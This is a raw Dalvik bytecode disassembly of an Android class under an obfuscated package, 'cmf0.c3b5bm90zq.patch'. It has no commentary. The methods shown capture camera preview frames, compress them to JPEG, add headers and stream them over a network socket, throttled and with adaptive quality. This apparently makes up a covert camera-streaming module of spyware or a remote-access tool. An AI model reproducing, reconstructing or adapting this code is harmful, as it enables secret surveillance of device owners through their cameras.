    000843dcinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843e2invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000843e8move-result-object v0
    000843eainvoke-virtual {v2, v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/lang/String;)V
    000843f0goto :goto_12e
    000843f2iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000843f6invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;)V
    000843fciget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084400iget-boolean v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    00084404if-eqz v0, :cond_0
    00084408return-void
    0008419c
    0008440a
    0008440a struct code_item_padding
    0008440a padding uint16 0x0000
    0008440c
    0008440c struct try_item
    0008440c start_addr uint32 0x841ac
    00084410 insn_count int 290
    00084412 handler_off uint16 0x84415
    00084414
    00084414 struct encoded_catch_handler_list
    00084414 size int 1
    00084415
    00084415 struct encoded_catch_handler ← 0x84412
    00084415 size int64 3
    00084416 handlers[0].type_idx int 0x5a58
    00084418 handlers[0].addr uint32 0x843f2
    0008441a handlers[1].type_idx int 0x5a48
    0008441c handlers[1].addr uint32 0x843f2
    0008441e handlers[2].type_idx int 0x5994
    00084420 handlers[2].addr uint32 0x843f2
    00084422
    00084422 // align 0x4
    00084424
    00084424cmf0.c3b5bm90zq.patch.C5$2::<init>(cmf0.c3b5bm90zq.patch.C5, java.lang.String):
    00084434iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$2;->b:Lcmf0/c3b5bm90zq/patch/C5;
    00084438iput-object v2, v0, Lcmf0/c3b5bm90zq/patch/C5$2;->a:Ljava/lang/String;
    0008443cinvoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00084442return-void
    00084424
    00084444
    00084444cmf0.c3b5bm90zq.patch.C5$2::run():
    00084454const/4 v0, 0x0
    00084456invoke-static {v0}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
    0008445cmove-result-object v1
    0008445enew-instance v2, Ljava/lang/StringBuilder;
    00084462invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    00084468iget-object v3, v5, Lcmf0/c3b5bm90zq/patch/C5$2;->a:Ljava/lang/String;
    0008446cinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084472sget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->e:Ljava/lang/String;
    00084476invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008447cconst-string v3, "null"
    00084480invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084486invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008448cmove-result-object v2
    0008448einvoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
    00084494move-result-object v2
    00084496invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/a;->a([B)[B
    0008449cmove-result-object v2
    0008449earray-length v3, v2
    000844a0new-instance v4, Ljava/io/ByteArrayOutputStream;
    000844a4invoke-direct {v4}, Ljava/io/ByteArrayOutputStream;-><init>()V
    000844aainvoke-static {v3}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    000844b0move-result-object v3
    000844b2invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B
    000844b8move-result-object v3
    000844bainvoke-virtual {v4, v3}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000844c0invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    000844c6move-result-object v1
    000844c8invoke-virtual {v4, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000844ceinvoke-virtual {v4, v2}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000844d4invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000844damove-result-object v1
    000844dcinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->e()Ljava/lang/Object;
    000844e2move-result-object v2
    000844e4monitor-enter v2
    000844e6invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000844ecmove-result-object v3
    000844eearray-length v4, v1
    000844f0invoke-virtual {v3, v4}, Ljava/net/Socket;->setSendBufferSize(I)V
    000844f6iget-object v3, v5, Lcmf0/c3b5bm90zq/patch/C5$2;->b:Lcmf0/c3b5bm90zq/patch/C5;
    000844fainvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084500move-result-object v4
    00084502invoke-virtual {v4}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
    00084508move-result-object v4
    0008450ainvoke-static {v3, v4}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
    00084510iget-object v3, v5, Lcmf0/c3b5bm90zq/patch/C5$2;->b:Lcmf0/c3b5bm90zq/patch/C5;
    00084514invoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    0008451amove-result-object v3
    0008451carray-length v4, v1
    0008451einvoke-virtual {v3, v1, v0, v4}, Ljava/io/OutputStream;->write([BII)V
    00084524monitor-exit v2
    00084526goto :goto_6d
    00084528move-exception v0
    0008452amonitor-exit v2
    0008452cthrow v0
    0008452ereturn-void
    00084444
    00084530
    00084530 struct try_item
    00084530 start_addr uint32 0x84456
    00084534 insn_count int 72
    00084536 handler_off uint16 0x84549
    00084538
    00084538 struct try_item
    00084538 start_addr uint32 0x844e6
    0008453c insn_count int 35
    0008453e handler_off uint16 0x8454d
    00084540
    00084540 struct try_item
    00084540 start_addr uint32 0x8452c
    00084544 insn_count int 1
    00084546 handler_off uint16 0x84549
    00084548
    00084548 struct encoded_catch_handler_list
    00084548 size int 2
    00084549
    00084549 struct encoded_catch_handler ← 0x84536 0x84546
    00084549 size int64 1
    0008454a handlers[0].type_idx int 0x5994
    0008454c handlers[0].addr uint32 0x8452e
    0008454d
    0008454d struct encoded_catch_handler ← 0x8453e
    0008454d size int64 0
    0008454e catch_all_addr uint32 0x84528
    0008454f
    0008454f // align 0x10
    00084550
    00084550cmf0.c3b5bm90zq.patch.C5$3::<init>(cmf0.c3b5bm90zq.patch.C5):
    00084560iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084564invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    0008456areturn-void
    00084550
    0008456c
    0008456ccmf0.c3b5bm90zq.patch.C5$3::onPreviewFrame(byte[], android.hardware.Camera):
    0008457ciget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084580iget-boolean v7, v7, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00084584const/4 v0, 0x1
    00084586if-ne v7, v0, :cond_5d
    0008458aif-nez v6, :cond_a
    0008458ereturn-void
    00084590iget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084594invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
    0008459amove-result-wide v1
    0008459ciget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845a0invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->d(Lcmf0/c3b5bm90zq/patch/C5;)J
    000845a6move-result-wide v3
    000845a8cmp-long v7, v1, v3
    000845acif-nez v7, :cond_5d
    000845b0invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000845b6move-result-object v7
    000845b8if-eqz v7, :cond_5d
    000845bciget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845c0iget-boolean v7, v7, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    000845c4if-ne v7, v0, :cond_5d
    000845c8iget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845ccinvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    000845d2move-result-object v7
    000845d4if-eqz v7, :cond_5d
    000845d8sget v7, Lcmf0/c3b5bm90zq/patch/C5;->k:I
    000845dcconst/4 v0, -0x1
    000845deif-eq v7, v0, :cond_5d
    000845e2iget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845e6invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000845ecmove-result-object v7
    000845eeinvoke-interface {v7, v6}, Ljava/util/List;->add(Ljava/lang/Object;)Z
    000845f4iget-object v6, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845f8invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000845femove-result-object v6
    00084600iget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084604invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->d(Lcmf0/c3b5bm90zq/patch/C5;)J
    0008460amove-result-wide v0
    0008460cinvoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
    00084612move-result-object v7
    00084614invoke-interface {v6, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
    0008461aiget-object v6, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008461eiget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084622invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->d(Lcmf0/c3b5bm90zq/patch/C5;)J
    00084628move-result-wide v0
    0008462aconst-wide/16 v2, 0x1
    0008462eadd-long/2addr v0, v2
    00084630invoke-static {v6, v0, v1}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;J)J
    00084636return-void
    0008456c
    00084638
    00084638 struct try_item
    00084638 start_addr uint32 0x8457c
    0008463c insn_count int 4
    0008463e handler_off uint16 0x84649
    00084640
    00084640 struct try_item
    00084640 start_addr uint32 0x84590
    00084644 insn_count int 83
    00084646 handler_off uint16 0x8464d
    00084648
    00084648 struct encoded_catch_handler_list
    00084648 size int 2
    00084649
    00084649 struct encoded_catch_handler ← 0x8463e
    00084649 size int64 1
    0008464a handlers[0].type_idx int 0x5994
    0008464c handlers[0].addr uint32 0x84636
    0008464d
    0008464d struct encoded_catch_handler ← 0x84646
    0008464d size int64 2
    0008464e handlers[0].type_idx int 0x59cc
    00084650 handlers[0].addr uint32 0x84636
    00084651 handlers[1].type_idx int 0x5994
    00084653 handlers[1].addr uint32 0x84636
    00084654
    00084654cmf0.c3b5bm90zq.patch.C5$a::<init>(cmf0.c3b5bm90zq.patch.C5):
    00084664iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084668invoke-direct {v0}, Landroid/os/AsyncTask;-><init>()V
    0008466ereturn-void
    00084654
    00084670
    00084670cmf0.c3b5bm90zq.patch.C5$a::<init>(cmf0.c3b5bm90zq.patch.C5, cmf0.c3b5bm90zq.patch.C5$1):
    00084680invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;-><init>(Lcmf0/c3b5bm90zq/patch/C5;)V
    00084686return-void
    00084670
    00084688
    00084688cmf0.c3b5bm90zq.patch.C5$a::a(java.lang.Object[]):
    00084698iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008469cinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->g(Lcmf0/c3b5bm90zq/patch/C5;)Z
    000846a2move-result v13
    000846a4if-eqz v13, :cond_320
    000846a8iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000846acinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000846b2move-result-object v13
    000846b4invoke-interface {v13}, Ljava/util/List;->size()I
    000846bamove-result v13
    000846bcif-lez v13, :cond_0
    000846c0iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000846c4invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000846camove-result-object v13
    000846ccinvoke-interface {v13}, Ljava/util/List;->size()I
    000846d2move-result v13
    000846d4if-lez v13, :cond_0
    000846d8iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000846dcinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000846e2move-result-object v13
    000846e4const/4 v0, 0x0
    000846e6invoke-interface {v13, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
    000846ecmove-result-object v13
    000846eecheck-cast v13, Ljava/lang/Long;
    000846f2invoke-virtual {v13}, Ljava/lang/Long;->longValue()J
    000846f8move-result-wide v1
    000846faiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000846feinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084704move-result-object v13
    00084706invoke-interface {v13, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
    0008470cmove-result-object v13
    0008470echeck-cast v13, [B
    00084712check-cast v13, [B
    00084716iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008471ainvoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
    00084720move-result-wide v3
    00084722cmp-long v5, v3, v1
    00084726if-nez v5, :cond_2e3
    0008472asget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008472econst-wide/16 v4, 0x53
    00084732const-wide/16 v6, 0x45
    00084736if-eqz v3, :cond_2b7
    0008473asget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008473einvoke-virtual {v3}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00084744move-result-object v3
    00084746invoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getPreviewSize()Landroid/hardware/Camera$Size;
    0008474cmove-result-object v8
    0008474eiget v9, v8, Landroid/hardware/Camera$Size;->width:I
    00084752invoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getPreviewSize()Landroid/hardware/Camera$Size;
    00084758move-result-object v3
    0008475aiget v10, v3, Landroid/hardware/Camera$Size;->height:I
    0008475einvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084764move-result-object v3
    00084766if-eqz v3, :cond_28c
    0008476aiget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008476eiget-boolean v3, v3, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    00084772const/4 v8, 0x1
    00084774if-ne v3, v8, :cond_261
    00084778iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008477cinvoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    00084782move-result-object v3
    00084784if-eqz v3, :cond_232
    00084788iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008478cinvoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    00084792move-result-wide v4
    00084794invoke-static {v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;J)J
    0008479anew-instance v11, Landroid/graphics/YuvImage;
    0008479econst/16 v5, 0x11
    000847a2const/4 v8, 0x0
    000847a4move-object v3, v11
    000847a6move-object v4, v13
    000847a8move v6, v9
    000847aamove v7, v10
    000847acinvoke-direct/range {v3 .. v8}, Landroid/graphics/YuvImage;-><init>([BIII[I)V
    000847b2new-instance v3, Ljava/io/ByteArrayOutputStream;
    000847b6array-length v13, v13
    000847b8invoke-direct {v3, v13}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
    000847benew-instance v13, Landroid/graphics/Rect;
    000847c2invoke-direct {v13, v0, v0, v9, v10}, Landroid/graphics/Rect;-><init>(IIII)V
    000847c8sget v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    000847ccinvoke-virtual {v11, v13, v4, v3}, Landroid/graphics/YuvImage;->compressToJpeg(Landroid/graphics/Rect;ILjava/io/OutputStream;)Z
    000847d2invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    000847d8move-result-wide v4
    000847daiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000847deinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
    000847e4move-result-wide v6
    000847e6const/4 v13, 0x0
    000847e8sub-long/2addr v4, v6
    000847eaiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000847eeinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    000847f4move-result v13
    000847f6int-to-long v6, v13
    000847f8cmp-long v13, v4, v6
    000847fcif-gez v13, :cond_22d
    00084800invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->size()I
    00084806move-result v13
    00084808sget v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    0008480cconst/16 v5, 0x47
    00084810if-ne v4, v5, :cond_f6
    00084814const v4, 0xf000
    0008481aif-le v13, v4, :cond_c8
    0008481econst/16 v4, 0xa
    00084822sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084826goto :goto_f6
    00084828const v4, 0xc800
    0008482eif-le v13, v4, :cond_d2
    00084832const/16 v4, 0x14
    00084836sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    0008483agoto :goto_f6
    0008483cconst v4, 0xa000
    00084842if-le v13, v4, :cond_dc
    00084846const/16 v4, 0x1e
    0008484asput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    0008484egoto :goto_f6
    00084850const/16 v4, 0x7800
    00084854if-le v13, v4, :cond_e5
    00084858const/16 v4, 0x28
    0008485csput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084860goto :goto_f6
    00084862const/16 v4, 0x5000
    00084866if-le v13, v4, :cond_ee
    0008486aconst/16 v4, 0x32
    0008486esput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084872goto :goto_f6
    00084874const/16 v4, 0x2800
    00084878if-le v13, v4, :cond_f6
    0008487cconst/16 v4, 0x3c
    00084880sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084884new-instance v4, Ljava/lang/StringBuilder;
    00084888invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
    0008488esget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084892const-wide/16 v7, 0x47
    00084896invoke-static {v5, v6, v7, v8}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008489cmove-result-object v5
    0008489einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000848a4sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000848a8invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000848aeinvoke-virtual {v4, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
    000848b4invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000848bamove-result-object v1
    000848bcinvoke-static {v0}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
    000848c2move-result-object v2
    000848c4new-instance v4, Ljava/lang/StringBuilder;
    000848c8invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
    000848ceinvoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000848d4sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->e:Ljava/lang/String;
    000848d8invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000848deinvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000848e4move-result-object v1
    000848e6new-instance v4, Ljava/io/ByteArrayOutputStream;
    000848eainvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    000848f0move-result-object v5
    000848f2array-length v5, v5
    000848f4add-int/2addr v5, v13
    000848f6invoke-direct {v4, v5}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
    000848fcinvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    00084902move-result-object v13
    00084904invoke-virtual {v4, v13}, Ljava/io/ByteArrayOutputStream;->write([B)V
    0008490ainvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00084910move-result-object v13
    00084912invoke-virtual {v4, v13}, Ljava/io/ByteArrayOutputStream;->write([B)V
    00084918invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    0008491emove-result-wide v5
    00084920iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084924invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
    0008492amove-result-wide v7
    0008492cconst/4 v13, 0x0
    0008492esub-long/2addr v5, v7
    00084930iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084934invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    0008493amove-result v13
    0008493cint-to-long v7, v13
    0008493ecmp-long v13, v5, v7
    00084942if-gez v13, :cond_225
    00084946new-instance v13, Ljava/io/ByteArrayOutputStream;
    0008494ainvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
    00084950move-result v1
    00084952invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    00084958move-result-object v1
    0008495ainvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    00084960move-result-object v1
    00084962array-length v1, v1
    00084964invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
    0008496amove-result-object v5
    0008496carray-length v5, v5
    0008496eadd-int/2addr v1, v5
    00084970invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
    00084976move-result v5
    00084978add-int/2addr v1, v5
    0008497ainvoke-direct {v13, v1}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
    00084980invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
    00084986move-result v1
    00084988invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    0008498emove-result-object v1
    00084990invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    00084996move-result-object v1
    00084998invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
    0008499einvoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
    000849a4move-result-object v1
    000849a6invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000849acinvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000849b2move-result-object v1
    000849b4invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000849bainvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
    000849c0invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    000849c6move-result-wide v1
    000849c8iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000849ccinvoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
    000849d2move-result-wide v5
    000849d4const/4 v7, 0x0
    000849d6sub-long/2addr v1, v5
    000849d8iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000849dcinvoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    000849e2move-result v5
    000849e4int-to-long v5, v5
    000849e6cmp-long v7, v1, v5
    000849eaif-gez v7, :cond_21a
    000849eeinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->e()Ljava/lang/Object;
    000849f4move-result-object v1
    000849f6monitor-enter v1
    000849f8iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000849fcinvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    00084a02move-result-object v2
    00084a04if-eqz v2, :cond_20b
    00084a08invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084a0emove-result-object v2
    00084a10invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00084a16move-result-object v5
    00084a18array-length v5, v5
    00084a1amul-int/lit8 v5, v5, 0xf
    00084a1einvoke-virtual {v2, v5}, Ljava/net/Socket;->setSendBufferSize(I)V
    00084a24iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a28invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084a2emove-result-object v5
    00084a30invoke-virtual {v5}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
    00084a36move-result-object v5
    00084a38invoke-static {v2, v5}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
    00084a3eiget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a42invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    00084a48move-result-object v2
    00084a4ainvoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00084a50move-result-object v5
    00084a52invoke-virtual {v2, v5}, Ljava/io/OutputStream;->write([B)V
    00084a58invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    00084a5emove-result-wide v5
    00084a60iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a64invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
    00084a6amove-result-wide v7
    00084a6cconst/4 v2, 0x0
    00084a6esub-long/2addr v5, v7
    00084a70iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a74invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    00084a7amove-result v2
    00084a7cint-to-long v7, v2
    00084a7ecmp-long v2, v5, v7
    00084a82if-gez v2, :cond_20b
    00084a86long-to-int v2, v5
    00084a88invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
    00084a8emove-result-object v2
    00084a90iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a94invoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    00084a9amove-result v5
    00084a9cinvoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
    00084aa2move-result v2
    00084aa4sub-int/2addr v5, v2
    00084aa6int-to-long v5, v5
    00084aa8invoke-static {v5, v6}, Ljava/lang/Thread;->sleep(J)V
